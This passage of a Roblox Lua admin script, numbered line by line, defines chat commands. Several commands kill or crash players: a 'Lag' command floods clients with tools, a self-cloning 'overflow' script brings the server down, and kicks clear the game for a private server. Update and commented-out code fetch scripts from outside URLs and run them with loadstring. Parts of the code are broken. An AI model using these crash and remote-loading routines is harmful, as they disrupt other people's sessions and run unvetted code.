				f7.Color = Color3.new(255/255, 255/255, 255/255)
3026
				f7.SecondaryColor = Color3.new(1, 1, 0)
3027
				f8 = Instance.new("Fire", b8)
3028
				f8.Size = 2
3029
				f8.Heat = 0
3030
				f8.Color = Color3.new(255/255, 255/255, 255/255)
3031
				f8.SecondaryColor = Color3.new(1, 1, 0)
3032
				f9 = Instance.new("Fire", b9)
3033
				f9.Size = 2
3034
				f9.Heat = 0
3035
				f9.Color = Color3.new(255/255, 255/255, 255/255)
3036
				f9.SecondaryColor = Color3.new(1, 1, 0)
3037
				w = Instance.new("Weld", b)
3038
				w.Part0 = master.Torso
3039
				w.Part1 = b
3040
				w.C0 = CFrame.new(0, 8, 0)
3041
				w2 = Instance.new("Weld", b2)
3042
				w2.Part0 = b
3043
				w2.Part1 = b2
3044
				w2.C0 = w.C1 * CFrame.new(0, 2.5, 0)
3045
				w3 = Instance.new("Weld", b3)
3046
				w3.Part0 = b
3047
				w3.Part1 = b3
3048
				w3.C0 = w.C1 * CFrame.new(0, -2.5, 0)
3049
				w4 = Instance.new("Weld", b4)
3050
				w4.Part0 = b
3051
				w4.Part1 = b4
3052
				w4.C0 = w.C1 * CFrame.new(2.5, 0, 0)
3053
				w5 = Instance.new("Weld", b5)
3054
				w5.Part0 = b
3055
				w5.Part1 = b5
3056
				w5.C0 = w.C1 * CFrame.new(-2.5, 0, 0)
3057
				w6 = Instance.new("Weld", b6)
3058
				w6.Part0 = b
3059
				w6.Part1 = b6
3060
				w6.C0 = w.C1 * CFrame.new(0, 0, 2.5)
3061
				w7 = Instance.new("Weld", b7)
3062
				w7.Part0 = b
3063
				w7.Part1 = b7
3064
				w7.C0 = w.C1 * CFrame.new(0, 0, -2.5)
3065
				w8 = Instance.new("Weld", b8)
3066
				w8.Part0 = master.Torso
3067
				w8.Part1 = b8
3068
				w9 = Instance.new("Weld", b9)
3069
				w9.Part0 = master.Torso
3070
				w9.Part1 = b9
3071
				return
3072
			end
3073
			local cor = coroutine.create(function()
3074
				while true do
3075
					if m and w and w8 and w9 and master then
3076
						for i = 1, 16 do
3077
							w.C1 = w.C1 * CFrame.Angles(math.pi/32, math.pi/32, math.pi/32)
3078
							w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
3079
							w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
3080
							w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
3081
							w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
3082
							wait(0.00000000000000000000000000000000000000000000000000000000000001)
3083
						end
3084
						for i = 1, 16 do
3085
							w.C1 = w.C1 * CFrame.Angles(math.pi/32, -math.pi/32, math.pi/32)
3086
							w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
3087
							w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
3088
							w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
3089
							w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
3090
							wait(0.00000000000000000000000000000000000000000000000000000000000001)
3091
						end
3092
					else
3093
						return
3094
					end
3095
				end
3096
			end)
3097
			create()
3098
			coroutine.resume(cor)
3099
			function onChat(msg)
3100
				if string.lower(msg) == "reset" then
3101
					player:LoadCharacter()
3102
				end
3103
			end
3104
			player.Chatted:connect(onChat)
3105
			b8.Touched:connect(function(hit)
3106
				if hit.Parent:FindFirstChild("Humanoid") then
3107
					hit.Parent:BreakJoints()
3108
				end
3109
			end)
3110
			b9.Touched:connect(function(hit)
3111
				if hit.Parent:FindFirstChild("Humanoid") then
3112
					hit.Parent:BreakJoints()
3113
				end
3114
			end)
3115
			master.Humanoid.Died:connect(function()
3116
				m:Remove()
3117
			end)
3118
		]],Delta.Services.Workspace)
3119
	elseif GetSplit(Msg) == "s" then
3120
		Msg = Msg:gsub("-s", "")
3121
		createScript([[
3122
			wait()
3123
			script.Parent = nil
3124
			script:clearAllChildren()
3125
			local player = game:GetService("Players"):findFirstChild(']]..Speaker.Name..[[')
3126
			if (player ~= nil) then 
3127
			wait()
3128
			pcall(function() player.Character.ForceField:Remove() end)
3129
			pcall(function() player.Character.Shield:Remove() end)
3130
			pcall(function() player.Character.Humanoid.MaxHealth = 100 Player.Character.Humanoid.Health = 100 end)
3131
			pcall(function() player.Character.Humanoid.WalkSpeed = 25 end)
3132
			local Shield = Instance.new("Part", player.Character)
3133
			local ff = Instance.new("ForceField", player.Character)
3134
			local Weld = Instance.new("Weld", Shield)
3135
			local bp = Instance.new("BodyPosition", Shield)
3136
			local bg = Instance.new("BodyGyro", Shield)
3137
			player.Character.Humanoid.MaxHealth = math.huge
3138
			player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth
3139
			Shield.Name = "Shield"
3140
			Shield.Transparency = 0.5
3141
			Shield.CanCollide = true 
3142
			Shield.Locked = true 
3143
			Shield.formFactor = "Custom"
3144
			Shield.Shape = "Ball"
3145
			Shield.Size = Vector3.new(10.5, 10.5, 10.5)
3146
			Shield.Position = player.Character.Torso.Position
3147
			Shield.BrickColor = BrickColor.new("Navy blue")
3148
			Shield.TopSurface = 0
3149
			Shield.BottomSurface = 0
3150
			bp.position = Vector3.new(-22.5, 7.5, 55.5)
3151
			bp.maxForce = Vector3.new(0, 1.0000e+008, 0)
3152
			bg.D = 1
3153
			bg.P = 1
3154
			bg.maxTorque = Vector3.new(4.0000e+005, 0, 4.0000e+005)
3155
			Weld.Part0 = player.Character.Torso
3156
			Weld.Part1 = Shield
3157
			Weld.C0 = CFrame.new(0, 0, 0)
3158
			Shield.Touched:connect(function(p)
3159
				if p.Parent:findFirstChild("Torso") then 
3160
					ex = Instance.new("Explosion", p.Parent)
3161
					ex.Position = p.Parent.Torso.Position
3162
					p.Parent:BreakJoints()
3163
				end
3164
			end)
3165
			wait()
3166
			end 
3167
		]],Delta.Services.Workspace)
3168
	else 
3169
		return
3170
	end
3171
end)
3172
Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets)", function(Speaker,Msg)
3173
	if GetSplit(Msg) == "h" then
3174
		Msg = Msg:gsub("-h", "")
3175
		local m = Instance.new("Hint", workspace)
3176
		m.Text = Speaker.Name..": "..Msg
3177
		Delta.Services.Debris:AddItem(m, 3)
3178
	elseif GetSplit(Msg) == "hg" then
3179
		Msg = Msg:gsub("-hg", "")
3180
		Announce(Speaker.Name..": "..Msg, false)
3181
	elseif GetSplit(Msg) == "t" then
3182
		Msg = Msg:gsub("-t", "")
3183
		OutputAll(Speaker.Name..": "..Msg, "Random", nil, 3)
3184
	elseif GetSplit(Msg) == "m" then
3185
		Msg = Msg:gsub("-m", "")
3186
		local m = Instance.new("Message", workspace)
3187
		m.Text = Speaker.Name..": "..Msg
3188
		Delta.Services.Debris:AddItem(m, 3)
3189
	else
3190
		Announce(Speaker.Name..": "..Msg, true)
3191
	end
3192
end)
3193
Command("Toggle Hats", {"hats"}, 2, "Targets A Player And Gives Hat Options", "-r (Remove) -s (Steal) -c (Clone)", function(Speaker, Msg)
3194
	if GetSplit(Msg) == "r" then
3195
		Msg = Msg:gsub("-r","")
3196
		local Players = getPlayer(Speaker, Msg)
3197
		if #Players > 0 then
3198
			for _,v in pairs(Players) do
3199
				ypcall(function()
3200
					for _, v2 in pairs(v.Character:GetChildren()) do
3201
						if v2:IsA("Hat") then
3202
							v2:remove()
3203
						end
3204
					end
3205
				end)
3206
			end
3207
		end
3208
	elseif GetSplit(Msg) == "s" then
3209
		Msg = Msg:gsub("-s","")
3210
		local Players = getPlayer(Speaker, Msg)
3211
		if #Players > 0 then
3212
			for _,v in pairs(Players) do
3213
				ypcall(function()
3214
					for _, v2 in pairs(v.Character:GetChildren()) do
3215
						if v2:IsA("Hat") then
3216
							v2.Parent = Speaker.Character
3217
						end
3218
					end
3219
				end)
3220
			end
3221
		end
3222
	elseif GetSplit(Msg) == "c" then
3223
		Msg = Msg:gsub("-c","")
3224
		local Players = getPlayer(Speaker, Msg)
3225
		if #Players > 0 then
3226
			for _,v in pairs(Players) do
3227
				ypcall(function()
3228
					for _, v2 in pairs(v.Character:GetChildren()) do
3229
						if v2:IsA("Hat") then
3230
							v2:Clone().Parent = Speaker.Character
3231
						end
3232
					end
3233
				end)
3234
			end
3235
		end
3236
	else
3237
		local Players = getPlayer(Speaker, Msg)
3238
		if #Players > 0 then
3239
			for _,v in pairs(Players) do
3240
				ypcall(function()
3241
					Instance.new("ForceField", v.Character)
3242
				end)
3243
			end
3244
		end
3245
	end
3246
end)
3247
-- Rank 3! --
3248
Command("Lag", {"lag"}, 3, "Lags A Player", "-b (Banish) -t (Tool Lag)", function(Speaker, Msg)
3249
	if GetSplit(Msg) == "b" then
3250
		Msg = Msg:gsub("-b","")
3251
		local Players = getPlayer(Speaker, Msg)
3252
		if #Players > 0 then
3253
			for _,v in pairs(Players) do
3254
				ypcall(function()
3255
					ChangeRank(v, -2)
3256
					Lag(v)
3257
				end)
3258
			end
3259
		end
3260
	elseif GetSplit(Msg) == "t" then
3261
		Msg = Msg:gsub("-t", "")
3262
		local Players = getPlayer(Speaker, Msg)
3263
		if #Players > 0 then
3264
			for _,v in pairs(Players) do
3265
				ypcall(function()
3266
					createLocalScript([[
3267
						wait()
3268
						script.Parent = nil
3269
						local P = game:GetService("Players").LocalPlayer
3270
						local PG = P.PlayerGui
3271
						local BP = P.Backpack
3272
						local CC = game:GetService("Workspace").CurrentCamera
3273
						--P.CameraMode = Enum.CameraMode.LockFirstPerson
3274
						game:GetService("RunService").Stepped:connect(function()
3275
							for i = 1, 500 do
3276
								Instance.new("Tool", BP)
3277
								Instance.new("HopperBin, BP)
3278
							end
3279
						end)
3280
					]], v:waitForChild("Backpack"))
3281
				end)
3282
			end
3283
		end
3284
	else
3285
		local Players = getPlayer(Speaker, Msg)
3286
		if #Players > 0 then
3287
			for _,v in pairs(Players) do
3288
				ypcall(function()
3289
					Lag(v)
3290
				end)
3291
			end
3292
		end
3293
	end
3294
end)
3295
Command("Shutdown", {"sd", "shutdown"}, 3, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow) -n (New Server)", function(Speaker, Msg)
3296
	if GetSplit(Msg) == "c" then
3297
		Msg = Msg:gsub("-c","")
3298
		for i = 1, Delta.ShutdownTime do
3299
			if Delta.Aborted == true then
3300
				Delta.Aborted = false
3301
				local ABM = Instance.new("Message", Delta.Services.Workspace)
3302
				ABM.Text = "Shutdown Aborted!"
3303
				Delta.Services.Debris:AddItem(ABM, 1)
3304
				return
3305
			else
3306
				local ABH = Instance.new("Hint", Delta.Services.Workspace)
3307
				ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
3308
				local ABM = Instance.new("Message", Delta.Services.Workspace)
3309
				ABM.Text = "Shutdown in "..Delta.ShutdownTime-i.." seconds"
3310
				wait(1)
3311
				if ABM ~= nil then
3312
					ABM:remove()
3313
				end
3314
				if ABH ~= nil then
3315
					ABH:remove()
3316
				end
3317
			end
3318
		end
3319
		Shutdown()
3320
	elseif GetSplit(Msg) == "a" then
3321
		Msg = Msg:gsub("-a", "")
3322
		Delta.Aborted = true
3323
	elseif GetSplit(Msg) == "o" then
3324
		Msg = Msg:gsub("-o", "")
3325
		createScript([[
3326
			while game:service'RunService'.Stepped:wait() do
3327
				script:Clone().Parent = game:GetService("Workspace")
3328
			end
3329
		]], Delta.Services.Workspace)
3330
	else
3331
		Shutdown()
3332
	end
3333
end)
3334
Command("Locks", {"locks", "lockscripts"}, 3, "Locks/Unlocks Scripting", nil, function(Speaker, Msg)
3335
	Dismiss(Speaker)
3336
	Output(Speaker, "Lock ServerSided Scripts: "..tostring(Delta.ServerSidedScriptsLock), "Bright orange")
3337
	Output(Speaker, "Lock Local Scripts: "..tostring(Delta.LocalSidedScriptsLock), "Bright orange")
3338
	Output(Speaker, "Enable ServerSided", Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red", function()
3339
		Dismiss(Speaker)
3340
		Delta.ServerSidedScriptsLock = not Delta.ServerSidedScriptsLock
3341
		Output("Admins", "Server Sided Scripting is now "..tostring(Delta.ServerSidedScriptsLock), Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red")
3342
	end)
3343
	Output(Speaker, "Enable Local Slided", Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red", function()
3344
		Dismiss(Speaker)
3345
		Delta.LocalSidedScriptsLock = not Delta.LocalSidedScriptsLock
3346
		Output("Admins", "Local Sided Scripting is now "..tostring(Delta.LocalSidedScriptsLock), Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red")
3347
	end)
3348
end)
3349
Command("Toggle Pri on/off", {"pri", "privateserver"}, 3, "PrivateServer Menu", nil, function(Speaker,Msg)
3350
	if #Msg == 0 then
3351
		Dismiss(Speaker)
3352
		local Status = Delta.PrivateServer.Enabled == true and "On" or "Off"
3353
		Output(Speaker, "Turn On", "Lime green", function() 
3354
			Dismiss(Speaker) 		
3355
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
3356
				if FindRank(v) <= 0.1 then
3357
					table.insert(Delta.PrivateServer.Waiting, v.Name)
3358
					Announce(v.Name.." got kicked due to private server.")
3359
					v:Kick()
3360
				end
3361
			end 
3362
			Delta.PrivateServer.Enabled = true 
3363
			Output(Speaker, "Private Server Enabled", "Really red", nil, 3) 
3364
		end)
3365
		Output(Speaker, "Turn Off", "Really red", function() Dismiss(Speaker) Delta.PrivateServer.Enabled = false Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
3366
		Output(Speaker, "Waiting List", "Deep orange", function()
3367
			Dismiss(Speaker)
3368
			-- [ Bugged ] --
3369
			for i,v in pairs(Delta.PrivateServer.Waiting) do
3370
				local a,b = ypcall(function()
3371
					Output(Speaker, v, nil, function()
3372
						Dismiss(Speaker)
3373
						ypcall(function()
3374
							Announce(v.." has been added to the private server!")
3375
							table.remove(Delta.PrivateServer.Waiting, i)
3376
							Delta.Ranked[v].Rank = 0.5
3377
						end)
3378
					end)
3379
				end)
3380
				if not a then Output("admins", b, 'Really red') end
3381
			end
3382
			Output(Speaker, "Back", "Really blue", function() Delta.Commands["Private Server"].Function(Speaker, "") end)
3383
		end)
3384
		Output(Speaker, "Status: "..Status)
3385
	elseif Msg == "on" or Msg == "1" or Msg == "true" then
3386
		Delta.PrivateServer.Enabled = true
3387
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
3388
			if FindRank(v) <= 0.1 then
3389
				table.insert(Delta.PrivateServer.Waiting, v.Name)
3390
				Announce(v.Name.." got kicked due to private server.")
3391
				v:Kick()
3392
			end
3393
		end
3394
		Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
3395
	elseif Msg == "off" or Msg == "0" or Msg == "false" then
3396
		Delta.PrivateServer.Enabled = false
3397
		Output(Speaker, "Private Server Disabled", "Lime green", nil, 3)
3398
	end
3399
end)
3400
Command("Deep Clean", {"deepcln", "deepclean"}, 4, "Deep Cleans the server.", function(Speaker,Msg)
3401
	game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) 
3402
game.Lighting.ColorShift_Top = Color3.new(0, 0, 0) 
3403
game.Lighting.Ambient = Color3.new(1, 1, 1) 
3404
game.Lighting.Brightness = 1 
3405
game.Lighting.TimeOfDay = "11:00:00"
3406
game.Lighting.FogEnd = 99999999
3407
game.Workspace.Base.Transparency = 0
3408
game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
3409
game.Workspace.Base.Locked = true
3410
game.Workspace.Base.Anchored = true
3411
t = game.Teams:GetChildren()
3412
for i = 1, #t do
3413
if t[i]:IsA("Team") then
3414
t[i]: Destroy()
3415
end
3416
end
3417
l = game.Lighting:GetChildren()
3418
for i = 1, #l do
3419
if l[i]:IsA("Sky") then
3420
l[i]: Destroy()
3421
end
3422
end
3423
g = game.Workspace:GetChildren()
3424
for i = 1, #g do
3425
if g[i]:IsA("Part") then
3426
g[i]: Destroy()
3427
end
3428
end
3429
for i = 1, #g do
3430
if g[i]:IsA("Script") then
3431
g[i]: Destroy()
3432
end
3433
end
3434
for i = 1, #g do
3435
if g[i]:IsA("StringValue") then
3436
g[i]: Destroy()
3437
end
3438
end
3439
for i = 1, #g do
3440
if g[i]:IsA("IntValue") then
3441
g[i]: Destroy()
3442
end
3443
end
3444
for i = 1, #g do
3445
if g[i]:IsA("BoolValue") then
3446
g[i]: Destroy()
3447
end
3448
end
3449
for i = 1, #g do
3450
if g[i]:IsA("NumberValue") then
3451
g[i]: Destroy()
3452
end
3453
end
3454
for i = 1, #g do
3455
if g[i]:IsA("ObjectValue") then
3456
g[i]: Destroy()
3457
end
3458
end
3459
for i = 1, #g do
3460
if g[i]:IsA("RayValue") then
3461
g[i]: Destroy()
3462
end
3463
end
3464
for i = 1, #g do
3465
if g[i]:IsA("Sound") then
3466
g[i]: Destroy()
3467
end
3468
end
3469
for i = 1, #g do
3470
if g[i]:IsA("Accoutrement") then
3471
g[i]: Destroy()
3472
end
3473
end
3474
for i = 1, #g do
3475
if g[i]:IsA("BrickColorValue") then
3476
g[i]: Destroy()
3477
end
3478
end
3479
for i = 1, #g do
3480
if g[i]:IsA("Motor") then
3481
g[i]: Destroy()
3482
end
3483
end
3484
for i = 1, #g do
3485
if g[i]:IsA("MotorFeature") then
3486
g[i]: Destroy()
3487
end
3488
end
3489
for i = 1, #g do
3490
if g[i]:IsA("Color3Value") then
3491
g[i]: Destroy()
3492
end
3493
end
3494
for i = 1, #g do
3495
if g[i]:IsA("BindableEvent") then
3496
g[i]: Destroy()
3497
end
3498
end
3499
for i = 1, #g do
3500
if g[i]:IsA("BindableFunction") then
3501
g[i]: Destroy()
3502
end
3503
end
3504
for i = 1, #g do
3505
if g[i]:IsA("LocalScript") then
3506
g[i]: Destroy()
3507
end
3508
end
3509
for i = 1, #g do
3510
if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
3511
g[i]: Remove()
3512
end
3513
end
3514
for i = 1, #g do
3515
if g[i]:IsA("Hint") then
3516
g[i]: Destroy()
3517
end
3518
end
3519
for i = 1, #g do
3520
if g[i]:IsA("Truss") then
3521
g[i]: Destroy()
3522
end
3523
end
3524
for i = 1, #g do
3525
if g[i]:IsA("Tool") then
3526
g[i]: Destroy()
3527
end
3528
end
3529
for i = 1, #g do
3530
if g[i]:IsA("HopperBin") then
3531
g[i]: Destroy()
3532
end
3533
end
3534
for i = 1, #g do
3535
if g[i]:IsA("Fire") then
3536
g[i]: Destroy()
3537
end
3538
end
3539
for i = 1, #g do
3540
if g[i]:IsA("Explosion") then
3541
g[i]: Destroy()
3542
end
3543
end
3544
for i = 1, #g do
3545
if g[i]:IsA("Hat") then
3546
g[i]: Destroy()
3547
end
3548
end
3549
p = Instance.new("Part")
3550
p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
3551
BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
3552
while true do wait()
3553
for i = 1, #g do
3554
if g[i]:IsA("Message") then
3555
g[i]: Destroy()
3556
end
3557
end
3558
for i = 1, #g do
3559
if g[i]:IsA("Hint") then
3560
g[i]: Destroy()
3561
end
3562
end
3563
end
3564
end)
3565
Command("Clean", {"fc", "clean", "cln"}, 7, "Full Cleans The Server", nil, function(Speaker, Msg)
3566
	FullClean()
3567
end)
3568
-- Rank 4! --
3569
3570
Command("Execute a Script", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
3571
	local Ran, Error = loadstring(Msg)
3572
	getfenv(Ran).Speaker = Speaker
3573
	getfenv(Ran).print = function(args) local str = "" for _,v in pairs({args}) do str = str..tostring(v).."\t" end Output(Speaker, str, "White") end
3574
	if Error == nil then
3575
		Ran()
3576
	else
3577
		Output(Speaker, Error, "Really red")
3578
	end
3579
end)
3580
Command("Update", {"update", "update"}, 7, "Updates the Script", "No Flags", function(Speaker, Msg)
3581
	createScript([[
3582
			pcall(function()
3583
				local h = game:service'HttpService'
3584
				local l = 'https://code.stypi.com/raw/99zay99/DELTA%20ADMIN%20GENERATION%203.lua'
3585
				local scr = h:GetAsync(l,true)
3586
				loadstring(scr)()
3587
			end)
3588
	]], Delta.Services.Workspace)
3589
	Delta.Commands["Remove Script"].Function(Speaker, "")
3590
end)
3591
Command("Remove Script", {"remv"}, 4, "Removes the Script", "No Flags", function(Speaker, Msg)
3592
	for i,v in pairs(Delta.Services.Players:GetPlayers()) do
3593
		Dismiss(v)
3594
	end
3595
	script:remove()
3596
	script.Disabled = true
3597
	Delta = nil
3598
	for i,v in pairs(getfenv(1)) do
3599
		getfenv(1)[i] = nil
3600
	end
3601
end)
3602
3603
DELTA.Services.Workspace.descendantAdded:connect(function(a)
3604
	pcall(function()
3605
		x = 0
3606
		for i,v in pairs(DELTA.Services.Workspace:children()) do
3607
			if v.ClassName == 'Message' or v.ClassName == 'Hint' then
3608
				x = x + 1
3609
			end
3610
		end
3611
		if x > MessageLimit then
3612
			for i,v in pairs(DELTA.Services.Workspace:children()) do
3613
				if v.ClassName == 'Message' or v.ClassName == 'Hint' then
3614
					v:remove()
3615
				end
3616
			end
3617
		end
3618
	end)
3619
end)
3620
3621
3622
local _end = time()
3623
Output("Admins", "Valinzia has loaded in "..tostring(_start-_end).." seconds!", "Bright orange", nil, 5)
3624
--[[
3625
				pcall(function()
3626
				local h = game:service'HttpService'
3627
				local l = 'https://code.stypi.com/itov/Delta%20k'
3628
				local scr = h:GetAsync(l,true)
3629
				NewLS(scr,v:findFirstChild'Backpack')
3630
			end)
3631
]]